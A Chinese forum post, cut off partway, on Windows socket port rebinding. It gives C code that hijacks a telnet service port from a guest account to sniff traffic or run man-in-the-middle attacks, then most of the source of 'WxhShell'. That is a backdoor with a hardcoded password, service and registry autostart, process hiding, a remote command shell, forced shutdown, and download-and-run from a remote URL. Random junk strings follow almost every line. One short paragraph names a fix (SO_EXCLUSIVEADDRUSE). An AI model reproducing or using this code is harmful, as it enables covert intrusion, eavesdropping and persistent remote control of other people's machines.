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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: , wk}[MF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6@Q; LV+  
Tu:lIy~A  
  saddr.sin_family = AF_INET; s2sJJdN  
`~axOp9N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E:}s 6l  
6heK8*.T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oKRI2ni$j9  
p7},ymQ|YQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o<|u4r={s  
:4:U\k;QwA  
  这意味着什么?意味着可以进行如下的攻击: 1% @i4  
<MxA;A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ({4?RtYm  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7WV"Wrl]  
o/U}G,|G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jp-(n z\  
|r*y63\T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (>Sy,  
_)CCD33$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lxa<zy~b  
tjZS:@3 Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 } BP.t$_  
ziAn9/sT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kaZcYuT.9  
TIV|7nKL  
  #include CJ;D&qo  
  #include ^]LWcJ?"^!  
  #include 4YMUkwh  
  #include    *@ \LS!N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WAr6Dv,8  
  int main() k DKfJp&a  
  { \a:-xwUu<  
  WORD wVersionRequested; ]xJ2;{JWsO  
  DWORD ret; $nthMx$  
  WSADATA wsaData; N8wA">u  
  BOOL val; Kn+B):OY+  
  SOCKADDR_IN saddr; (.M &nN'Ce  
  SOCKADDR_IN scaddr; %yy|B  
  int err; A*{V%7hs&  
  SOCKET s; ^O5PcV3Eg  
  SOCKET sc; ds+0y;vc  
  int caddsize; P= 26! b  
  HANDLE mt; a '<B0'  
  DWORD tid;   $8_b[~%2  
  wVersionRequested = MAKEWORD( 2, 2 ); 0bIhP,4&  
  err = WSAStartup( wVersionRequested, &wsaData ); ~<_P jV  
  if ( err != 0 ) { J16(d+  
  printf("error!WSAStartup failed!\n"); ma2-66M~j  
  return -1; ue6&)7:~  
  } ADZU?7)  
  saddr.sin_family = AF_INET; fH 5/  
   _%aJ/Y0Cy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !vSj1w  
[tz}H&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LT '2446  
  saddr.sin_port = htons(23); 7gbu7"Qc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IsiCHtY9  
  { tsTCZ);(  
  printf("error!socket failed!\n"); &qFy$`"  
  return -1; #ruL+- 8!<  
  } *1b)Va8v*  
  val = TRUE; FAd4p9[Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w>gB&59r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PeB7Q=d)K1  
  { w ]$Hr   
  printf("error!setsockopt failed!\n"); 4] I7t  
  return -1; QPpC_pZh  
  } nx'D&, VX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8d"Ff  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Sy`7})[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?r-W , n  
OAZ5I)D>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qUtlh,4)  
  { -|A`+1-R+  
  ret=GetLastError(); YeCS`IXm  
  printf("error!bind failed!\n"); 4XXuj  
  return -1; u IGeSd5B  
  } m'.y,@^B  
  listen(s,2); z#elwL6  
  while(1) 5ki<1{aVtZ  
  { f^?k?_~PN  
  caddsize = sizeof(scaddr); i_6 Y6  
  //接受连接请求 wm/=]*jpK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K _sHZ  
  if(sc!=INVALID_SOCKET) %gE*x #  
  { '&hk?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8C>\!lW"  
  if(mt==NULL) hMvLx>q3)  
  { wXnluE  
  printf("Thread Creat Failed!\n"); 1z$K54Mj  
  break; Zw<\^1  
  } $,9A?'  
  } lo:{T _ay  
  CloseHandle(mt); 9( "<NB0y  
  } B6#^a  
  closesocket(s); eQqx0+-0c  
  WSACleanup(); V 0M&D,  
  return 0; ic(`Ev  
  }   sV`!4 u7%}  
  DWORD WINAPI ClientThread(LPVOID lpParam) yO`HL'SMo  
  { 9#X"m,SB  
  SOCKET ss = (SOCKET)lpParam; -\V!f6Q  
  SOCKET sc; Ri mz~}+  
  unsigned char buf[4096]; 6./3w&D;  
  SOCKADDR_IN saddr; FLzC kzJ:6  
  long num; LaCVI  
  DWORD val; 3q*p#l~  
  DWORD ret; o1zKns?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VW/ICX~"d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |)}&: xA%  
  saddr.sin_family = AF_INET; m#.N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7`_`V&3s  
  saddr.sin_port = htons(23); LX2Re ]&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rZSD)I  
  { Cl>{vS N  
  printf("error!socket failed!\n"); e"O c  
  return -1; O-jpS?@  
  } n/Fx2QC{  
  val = 100; QxI^Bx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #<*=)[  
  { 0Mu6R=s  
  ret = GetLastError(); 64R~ $km  
  return -1; J=sj+:GS  
  } e=u?-8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bDADFitSo  
  { aF]cEe  
  ret = GetLastError(); <A`zK  
  return -1; Lsb`,:  
  } &cHA xker  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sRK oM  
  { '74*-yd  
  printf("error!socket connect failed!\n"); * ,#SwZ  
  closesocket(sc); iwx*mC{|A  
  closesocket(ss); 8qF OO3c\V  
  return -1; 'M!*Ge  
  } 3EO:Uk5<   
  while(1) &r0U9J  
  { f)#rBAkt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oj%(@6L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $3)Z>p   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PDNbhUAV  
  num = recv(ss,buf,4096,0); =GJ)4os  
  if(num>0) E@[ZwTnJ  
  send(sc,buf,num,0); ?w5>Z/V  
  else if(num==0) =+ALh-  
  break; bSgdVP-  
  num = recv(sc,buf,4096,0); U#>K(  
  if(num>0) teX)!N [  
  send(ss,buf,num,0); wzf%~ats  
  else if(num==0) \9N )71n(  
  break; 2`P=ekF]  
  } !Y^3%B%  
  closesocket(ss); `RHhc{  
  closesocket(sc); A3eus  
  return 0 ; Scd_tw.]|  
  } w 21g&  
@5tGI U;1  
wrm ReT?  
========================================================== |*v w(  
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下边附上一个代码,,WXhSHELL witx_r  
/vNHb _-  
========================================================== ^t}8E2mq  
;Q\MH t*  
#include "stdafx.h" t~_bquGk  
Zonr/sA~  
#include <stdio.h> 2F#DJN#  
#include <string.h> +<rWYF(ii/  
#include <windows.h> > JP}OS  
#include <winsock2.h> ~djHtd>  
#include <winsvc.h> T )!k J;vc  
#include <urlmon.h> $A^OP{  
sh)[|?7z  
#pragma comment (lib, "Ws2_32.lib") P-?R\(QYtR  
#pragma comment (lib, "urlmon.lib") 4_W*LG~2s  
)MeeF-Ad6  
#define MAX_USER   100 // 最大客户端连接数 =`E{QCW  
#define BUF_SOCK   200 // sock buffer Ef\&3TcQ  
#define KEY_BUFF   255 // 输入 buffer t{Wu5<F:  
@TvDxY1)6Z  
#define REBOOT     0   // 重启 r^T+ I3  
#define SHUTDOWN   1   // 关机 xz3|m _)  
8iUYZF  
#define DEF_PORT   5000 // 监听端口 cP^c}e*;NS  
iq<nuO  
#define REG_LEN     16   // 注册表键长度 wo5fGQJ  
#define SVC_LEN     80   // NT服务名长度 89P'WFOFK  
Aa}Nr5{O|  
// 从dll定义API :0'vzM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #tN!^LLi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8;$zD]{D1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B\\M%!a>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O&evv8 6L  
{4>N2mP{M  
// wxhshell配置信息 COH9E\ZGF  
struct WSCFG { o?/fObV@(  
  int ws_port;         // 监听端口 ~S~4pK  
  char ws_passstr[REG_LEN]; // 口令 *?YMoN  
  int ws_autoins;       // 安装标记, 1=yes 0=no dmPAPCm%y  
  char ws_regname[REG_LEN]; // 注册表键名 #n.XOet<\  
  char ws_svcname[REG_LEN]; // 服务名 ,'%*z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pM}n)Q!{3"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '.*`PN5mDq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `]4tJJy$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` M!'PMX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;4k/h/o1#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'Esz #@R  
q$kx/6=k  
}; F4$9r^21r  
md;jj^8zj  
// default Wxhshell configuration k-I U}|Xz  
struct WSCFG wscfg={DEF_PORT, !@[@&.  
    "xuhuanlingzhe", YQ`88 z  
    1, t/J|<Ooj?  
    "Wxhshell", +2,EK   
    "Wxhshell", t#2szr+  
            "WxhShell Service", \kP1Jr  
    "Wrsky Windows CmdShell Service", Le2rc *T  
    "Please Input Your Password: ", g 9AA)Ykp  
  1, C:p`  
  "http://www.wrsky.com/wxhshell.exe", "10.,QK  
  "Wxhshell.exe" G8lTIs4u;  
    }; l4AXjq2  
<])kO`+G  
// 消息定义模块 z_%}F':  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / mwsF]Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J<MuWgx&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KJW^pAj$B  
char *msg_ws_ext="\n\rExit."; ^zKP5nzL  
char *msg_ws_end="\n\rQuit."; p4@0Dz`Q  
char *msg_ws_boot="\n\rReboot..."; ne# %Gr  
char *msg_ws_poff="\n\rShutdown..."; Erm]uI9`  
char *msg_ws_down="\n\rSave to "; zKFiCP K  
G \|P3j  
char *msg_ws_err="\n\rErr!"; &H/3@A3  
char *msg_ws_ok="\n\rOK!"; Q+p9^_r  
3u oIYY  
char ExeFile[MAX_PATH]; :?:R5_Nd=  
int nUser = 0; -SF50.[  
HANDLE handles[MAX_USER]; D<lVWP  
int OsIsNt; ~vKDB$2  
$?y\3GX  
SERVICE_STATUS       serviceStatus; H={5>;8G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?'U@oz8 B  
y6&o+;I$[  
// 函数声明 gM&4Ur  
int Install(void); ?3do-tTp  
int Uninstall(void); s[%@3bY!7  
int DownloadFile(char *sURL, SOCKET wsh); rQ)I  
int Boot(int flag); / gP"X1.  
void HideProc(void); yH(%*-S  
int GetOsVer(void); 4R& pb1eF  
int Wxhshell(SOCKET wsl); ~Hvf"bvK|  
void TalkWithClient(void *cs); ?GGBDql  
int CmdShell(SOCKET sock); xpWY4Q  
int StartFromService(void); &G_XgQsg{  
int StartWxhshell(LPSTR lpCmdLine); e|4U2\&3y  
G!U `8R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \N.Bx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L DdgI  
?zK\!r{  
// 数据结构和表定义 7o9[cq w  
SERVICE_TABLE_ENTRY DispatchTable[] = @VnK/5opS  
{ s}?QA cC  
{wscfg.ws_svcname, NTServiceMain}, 35Fs/Gf-n  
{NULL, NULL} >+Y@rj2  
}; RC^k#+  
yK w.69.  
// 自我安装 vgN%vw pL  
int Install(void) ]QKKt vN  
{ ^`fqK4<  
  char svExeFile[MAX_PATH]; ~\u?Nf~L  
  HKEY key; CUx [LZR7m  
  strcpy(svExeFile,ExeFile); ?{r-z3@ N  
sK7b4gmK  
// 如果是win9x系统,修改注册表设为自启动 JxlZ,FF$@  
if(!OsIsNt) { gZ6tb p,X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R?8/qGSVqJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?;DzWCL~9  
  RegCloseKey(key); K*N8Vpz(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,Fj}T-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R RnT.MU  
  RegCloseKey(key); 8YO` TgW  
  return 0; }h=3[pe}  
    } h%!,|[|  
  } YT<(2u#Ng  
} f&? 8fB8{  
else { cfL:#IM  
z*`nfTw l  
// 如果是NT以上系统,安装为系统服务 Zi.w+V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wcW}Sv[r  
if (schSCManager!=0) kjj?X|Un  
{ {#&jW  
  SC_HANDLE schService = CreateService ]_2<uK}fg  
  ( NQ,2pM<*-  
  schSCManager, 'Xg9MS&  
  wscfg.ws_svcname, \/?&W[TF  
  wscfg.ws_svcdisp, (w?W=guHu  
  SERVICE_ALL_ACCESS, )gNVJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o.])5i_HV  
  SERVICE_AUTO_START, bOK0^$k  
  SERVICE_ERROR_NORMAL, zJG=9C?  
  svExeFile, 9Nu:{_YoP  
  NULL, /086qB|  
  NULL, bP{uZnOM2P  
  NULL, 7?2<W-n  
  NULL, I1!m;5-c9k  
  NULL xcQ:&q  
  ); !6eF8T  
  if (schService!=0) K b z|h,<  
  { @vvGhJ1m`  
  CloseServiceHandle(schService); VP:9&?>G  
  CloseServiceHandle(schSCManager); ]gmkajCzD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JmbWEX|  
  strcat(svExeFile,wscfg.ws_svcname); ?$%2\"wX~7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?xtP\~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;a`I8Fj  
  RegCloseKey(key); !p(N DQm  
  return 0; sF p% T4j  
    } :xsNn55b  
  }  B q7Qbj  
  CloseServiceHandle(schSCManager); lM[FT=M  
} {GS$7n  
} -PskUl'  
N@\`DO  
return 1; Uw->5   
} Ypw:Vp  
X!f` !tZ:{  
// 自我卸载 ,\D* =5  
int Uninstall(void) "i; "  
{ z460a[Wl  
  HKEY key; NSQ#\:3:S  
@tPptB  
if(!OsIsNt) { I=K|1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zC_@wMWB  
  RegDeleteValue(key,wscfg.ws_regname); 48n7<M;I  
  RegCloseKey(key); }vt>}%%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >d$Sh`a6  
  RegDeleteValue(key,wscfg.ws_regname); T7j,%ay9  
  RegCloseKey(key); S3> <zGYk  
  return 0; U t.#h="  
  } a,KqTQB  
} NnqAr ,  
} i E)Fo.H  
else { @;h$!w<  
yPVK>em5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5DnX8t+d  
if (schSCManager!=0) 4>t=r\"4  
{ ?7R&=B1g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 287)\FU;3  
  if (schService!=0) )UAkg  
  { = K3NKPUI  
  if(DeleteService(schService)!=0) { d@>1m:p  
  CloseServiceHandle(schService); ;@V1*7y  
  CloseServiceHandle(schSCManager); P2sM3C  
  return 0; PR~9*#"v..  
  } Fps:6~gD  
  CloseServiceHandle(schService); T{zz3@2?  
  } 8&UwnEk<  
  CloseServiceHandle(schSCManager); > PONu]^  
} @V qI+5TA  
} )9z3T>QW  
Wtqv  
return 1; Pm!/#PtX  
} 2*}qQ0J  
41NVF_R6J  
// 从指定url下载文件 :V^|}C#  
int DownloadFile(char *sURL, SOCKET wsh) nbdjk1E`~  
{ OzS/J;[PO[  
  HRESULT hr; GNab\M.  
char seps[]= "/"; q1vsvL9Q  
char *token; W^N|+$g>H  
char *file; 7V-'><)gI  
char myURL[MAX_PATH]; N Ah^2X  
char myFILE[MAX_PATH]; _Sn45h@"  
;eT+Ly|{  
strcpy(myURL,sURL);  Or,W2  
  token=strtok(myURL,seps); >j_N6B!  
  while(token!=NULL) 1 JB~G7  
  { E 9v<VoNP`  
    file=token; GLr7sack  
  token=strtok(NULL,seps); (V9 ;  
  } ;)rXQm  
eGj[%pk  
GetCurrentDirectory(MAX_PATH,myFILE); /L*JHNu"_  
strcat(myFILE, "\\"); .l +yK-BZ  
strcat(myFILE, file); feG#*m2g  
  send(wsh,myFILE,strlen(myFILE),0); C] >?YR4  
send(wsh,"...",3,0); %#iu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~9DD=5\  
  if(hr==S_OK) JpC_au7CX  
return 0; -mY,nMDb  
else 8KHT"uc'*J  
return 1; -8m3L  
-SN6&-#c_  
} QI*<MF,1  
*5d6Q   
// 系统电源模块 }b=Cv?Zg$m  
int Boot(int flag) aKC,{}f$m  
{ G*%:"qleT$  
  HANDLE hToken; 2+cpNk$  
  TOKEN_PRIVILEGES tkp; 5dkXDta[G  
f_'8l2jK1i  
  if(OsIsNt) { lL"ANlX-P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ki'CW4x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !8OgaMngzF  
    tkp.PrivilegeCount = 1; }) Zcw1g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &AP`k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *I9O+/,  
if(flag==REBOOT) { TeNPuY~WP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 66-G)+4  
  return 0; U6F1QLSLz  
} 6o<(,\ad [  
else { |(3"_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z#^;'nnw  
  return 0; w:07_`cH=  
} Sjo7NR^#e  
  } ]8CgHT[^7  
  else { qrufnu5cC  
if(flag==REBOOT) { HMmB90P`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JasA w7  
  return 0; DIF-%X5  
} l;i /$Yu7  
else { ' wni.E&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h&2l0 |8k  
  return 0; fs0EbVDF  
} vX|5*T`(  
} ZaF9Q%  
v"-K-AQjB  
return 1; <h%I-e6  
} P7\?WN$p  
il% u)NN  
// win9x进程隐藏模块 |H.ARLS  
void HideProc(void) bXk(wXX  
{ Dvm[W),(k  
pD;fFLvN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :f~qt%%/  
  if ( hKernel != NULL ) }/2M?W0  
  { uR6 `@F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lRR A2Kql  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <nc6 &+  
    FreeLibrary(hKernel); vwAtX($  
  } Q) =LbR{#  
L}6!D zl  
return; 9qUkw&}H  
} mM.YZUX  
0+F--E4  
// 获取操作系统版本 !<?<f db  
int GetOsVer(void) ^@^K <SVc  
{ xJ9aFpTC  
  OSVERSIONINFO winfo; nx{MUN7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9e Fj+  
  GetVersionEx(&winfo); us+z8Mz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :l&Yq!5  
  return 1; Bk[C=<X  
  else 0+e  
  return 0; e, fZ>EJ  
} sLUOs]cj  
+t3o5&  
// 客户端句柄模块 VS>xvF  
int Wxhshell(SOCKET wsl) et?FX K"y  
{ ~G 3txd  
  SOCKET wsh; 9BAvE\o0  
  struct sockaddr_in client; 8N \<o7t%  
  DWORD myID; N(V_P[]"*,  
K&eT*JW>  
  while(nUser<MAX_USER) Q-z `rW  
{ Da8 |eN}   
  int nSize=sizeof(client); 4w)>}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4AMe>s  
  if(wsh==INVALID_SOCKET) return 1; U~USwUzgY  
UE/JV_/S;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E^A S65%bL  
if(handles[nUser]==0) Lv#0-+]$Bt  
  closesocket(wsh); mm;sf  
else w!'y,yb%  
  nUser++; FzNj':D  
  } )FNn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CK1A$$gnz  
uehu\umt=  
  return 0; )/)[}wN;j  
} x"!`JDsS  
B oxtP<C"  
// 关闭 socket Jy\0y[f*  
void CloseIt(SOCKET wsh) R9!U _RH  
{ u /]P  
closesocket(wsh); .>z1BP:(  
nUser--; *V4%&&{  
ExitThread(0); p]ujip  
} zc$}4o  
N`?|~g3  
// 客户端请求句柄 T<"Bb[kH  
void TalkWithClient(void *cs) v>j,8E  
{ Va?i#<a  
{* P[dyu  
  SOCKET wsh=(SOCKET)cs; (Ldvx_  
  char pwd[SVC_LEN];  JJmW%%]i  
  char cmd[KEY_BUFF]; 4.^T~n G  
char chr[1]; dr c-5{M  
int i,j; n_Qua|R  
?|98Y"w  
  while (nUser < MAX_USER) { ul#y'iY]  
+80bG(I_  
if(wscfg.ws_passstr) { P;o  {t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JsNj!aeU%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qS9<_if2  
  //ZeroMemory(pwd,KEY_BUFF); D'vaK89\  
      i=0; 7B=VH r  
  while(i<SVC_LEN) { PpKjjA<  
]A5Y/dd  
  // 设置超时 QkC*om'/!  
  fd_set FdRead; BGxwPJd  
  struct timeval TimeOut; ~^jPE)  
  FD_ZERO(&FdRead); K1^7v}P  
  FD_SET(wsh,&FdRead); w^Yo)"6  
  TimeOut.tv_sec=8; }X?#"JFX?  
  TimeOut.tv_usec=0; yo/;@}g}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g'b|[ q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fge h;cD  
df$.gP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9TQVgkW  
  pwd=chr[0]; (WJ)!  
  if(chr[0]==0xd || chr[0]==0xa) { <D3mt Q  
  pwd=0; \8=)X})  
  break; 3]GMQA{L)  
  } FR[I~unqD  
  i++; vi *A 5  
    } G{]RC^Zo  
=Y81h-  
  // 如果是非法用户,关闭 socket ,dR.Sac v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V:'F_/&X?  
} "+T`{$Z=C  
Zp3-Yo w2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C1e@{>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Z94@uB  
>5#}/G&  
while(1) { Lc5zu7ncg  
""jW'%wR  
  ZeroMemory(cmd,KEY_BUFF); %jy$4qAf%  
+/Y2\ s  
      // 自动支持客户端 telnet标准   [U/h'A.j  
  j=0; Y|Q(JX  
  while(j<KEY_BUFF) { RSh_~qMX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~qj(&[U{c\  
  cmd[j]=chr[0]; JR#4{P@A  
  if(chr[0]==0xa || chr[0]==0xd) { w(&EZDe  
  cmd[j]=0; D\&S {  
  break; YB7n}r23  
  } l;0([_>*j  
  j++; ^J#*sn  
    } O&BvWik  
dh7`eAMY   
  // 下载文件 t&?{+?p: 9  
  if(strstr(cmd,"http://")) { sdZ$3oE.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *lvADW5e  
  if(DownloadFile(cmd,wsh)) =yZq]g6Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZj`*M%3  
  else #4O4,F>e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <`uu e  
  } wpM2{NTP  
  else { P.XT1)qo*  
r[i^tIv6As  
    switch(cmd[0]) { I?}jf?!oM  
  MGm*({%  
  // 帮助 O|,9EOrP  
  case '?': { 5<dg@,\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |T""v_q  
    break; ~^' ,4<K-}  
  } BA: x*(%~  
  // 安装 x^[,0?y2  
  case 'i': { Fn@`Bi?#q  
    if(Install()) XYzaSp=bb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _GG\SWm  
    else /ovVS6Ai  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U<w8jVE  
    break; ML905n u  
    } z9ADF(J?0'  
  // 卸载 ?"9h-g3`x}  
  case 'r': { mp8GHV  
    if(Uninstall()) BS##nS-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i7.8H*z'  
    else T"z<D+ pN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Nt HV4=b  
    break; Pz2 b  
    } +<1 |apS1  
  // 显示 wxhshell 所在路径 Qjfgxy]  
  case 'p': { K|Sq_/#+U  
    char svExeFile[MAX_PATH]; M4C8K{}  
    strcpy(svExeFile,"\n\r"); 5j`xSG  
      strcat(svExeFile,ExeFile); ~9+01UU^  
        send(wsh,svExeFile,strlen(svExeFile),0); O%T?+1E  
    break; R!j#  
    } wN!\$i@E:  
  // 重启 ;0 B1P|7zK  
  case 'b': { *<xu3){:c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jU&m*0nL  
    if(Boot(REBOOT)) X,v.1#[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dxs5woP  
    else { H[~ D]RG}'  
    closesocket(wsh); s?EQ  
    ExitThread(0); srv4kodj  
    } g{]6*`/Z  
    break; rC-E+%y  
    } {6ZSf[Y6B  
  // 关机 .|O T#"LP  
  case 'd': { zzf@U&x<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RK!9(^Ja  
